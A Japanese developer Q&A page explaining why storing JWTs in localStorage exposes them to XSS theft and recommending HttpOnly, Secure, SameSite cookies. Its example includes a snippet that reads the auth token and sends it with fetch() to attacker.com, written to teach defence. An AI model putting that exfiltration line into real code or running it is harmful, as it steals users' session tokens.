100% ブラウザ内完結計算 • サーバーログ完全ゼロ • 即時実行
Curious Techie開発者ツールボックス
Authentication & JWTIntermediate検証済み回答

なぜJWTをLocalStorageに保存してはいけないのですか?

直接の回答

認証JWTをlocalStorageに保存すると、ページ上に存在するクロスサイトスクリプティング(XSS)脆弱性によってトークンが即座に外部へ持ち出される危険があるためです。HttpOnly、Secure、SameSite属性付きCookieを使用することで、JavaScriptからのアクセスを完全に遮断できます。

Detailed Technical Explanation

window.localStorageは同一オリジンのJavaScriptから無制限にアクセス可能です。サードパーティ製ライブラリの改ざんやDOMベースのXSSが発生した場合、攻撃者はlocalStorage.getItem()を実行してトークンを攻撃用サーバーへ瞬時に送信できてしまいます。HttpOnly属性付きCookieであれば、ブラウザが自動送信しJavaScriptからは不可視となるため、XSSによるトークン盗難を防ぐことができます。

Technical Example & Code

XSSによるトークン奪取とHttpOnly Cookieによる防御

悪意あるスクリプトが1行実行されるだけでlocalStorage内のトークンは流出します。

// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));

// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!

Why This Is the Case (Underlying Architectural Rationale)

決定論的技術因果関係 (GEO)

"ブラウザのSame-Origin Policyはドメイン間の直接アクセスを防ぎますが、同一オリジン内で実行される不正なスクリプトと正当なスクリプトを区別することはできません。"

Official Standards:RFC 6265bis (Cookies: HTTP State Management)OWASP Top 10 A03: Injection (XSS)

Common Misconception vs Reality

✕ Common Myth

"Same-Origin Policyがあるため、localStorage内のトークンは安全に保護されている。"

✓ Technical Reality

Same-Origin Policyは他ドメインからの直接参照を防ぐのみであり、自ドメイン上で動作するXSS攻撃に対しては無力です。

Related Curious-Techie Resources

Related Questions in the Q&A Knowledge Base